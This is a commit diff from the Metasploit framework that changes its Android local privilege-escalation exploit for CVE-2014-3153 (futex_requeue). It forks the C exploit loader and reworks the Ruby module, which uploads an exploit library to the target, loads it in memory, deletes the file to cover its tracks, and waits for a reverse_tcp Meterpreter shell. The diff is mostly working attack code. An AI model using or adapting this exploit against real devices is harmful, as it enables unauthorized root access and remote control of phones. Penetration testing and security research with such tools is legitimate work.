fork early and use WfsDelay

Author: timwr

external/source/exploits/CVE-2014-3153/main.c

@@ -51,8 +51,10 @@ JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
 		return -1;
 	}
 
-	init_exploit();
-
+	int pid = fork();
+	if (pid == 0) {
+		init_exploit();
+	}
 	return JNI_VERSION_1_4;
 }
 

modules/exploits/android/local/futex_requeue.rb

@@ -34,11 +34,11 @@ def initialize(info={})
         ],
         'DisclosureDate' => "May 03 2014",
         'SessionTypes'   => [ 'meterpreter' ],
-        "Platform"       => [ "android", "linux" ],
+        'Platform'       => [ "android", "linux" ],
         'Payload'        => { 'Space'    => 2048, },
-        "Arch"           => ARCH_ARMLE,
         'DefaultOptions' =>
         {
+          'WfsDelay'     => 300,
           'PAYLOAD'      => 'linux/armle/mettle/reverse_tcp',
         },
         'DefaultTarget' => 0,
@@ -88,10 +88,6 @@ def initialize(info={})
         ]
       }
     ))
-    register_options(
-      [
-        OptInt.new("ListenerTimeout", [ true, "The maximum number of seconds to wait for a session", 300])
-      ], self.class)
   end
 
   def exploit
@@ -162,20 +158,16 @@ def exploit
     write_file(remote_file, exploit_data)
 
     print_status("Loading exploit library #{remote_file}")
-    old_timeout = session.response_timeout
-    print_status("Be patient, this exploit will automatically timeout after #{datastore['ListenerTimeout']} seconds")
-    session.response_timeout = datastore['ListenerTimeout']
     session.core.load_library(
         'LibraryFilePath' => local_file,
         'TargetFilePath'  => remote_file,
         'UploadLibrary'   => false,
         'Extension'       => false,
         'SaveToDisk'      => false
     )
-    session.response_timeout = old_timeout
-    print_status("Loaded library #{remote_file}")
+    print_status("Loaded library #{remote_file}, deleting")
     session.fs.file.rm(remote_file)
-    print_status("Library #{remote_file} was deleted")
+    print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
   end
 end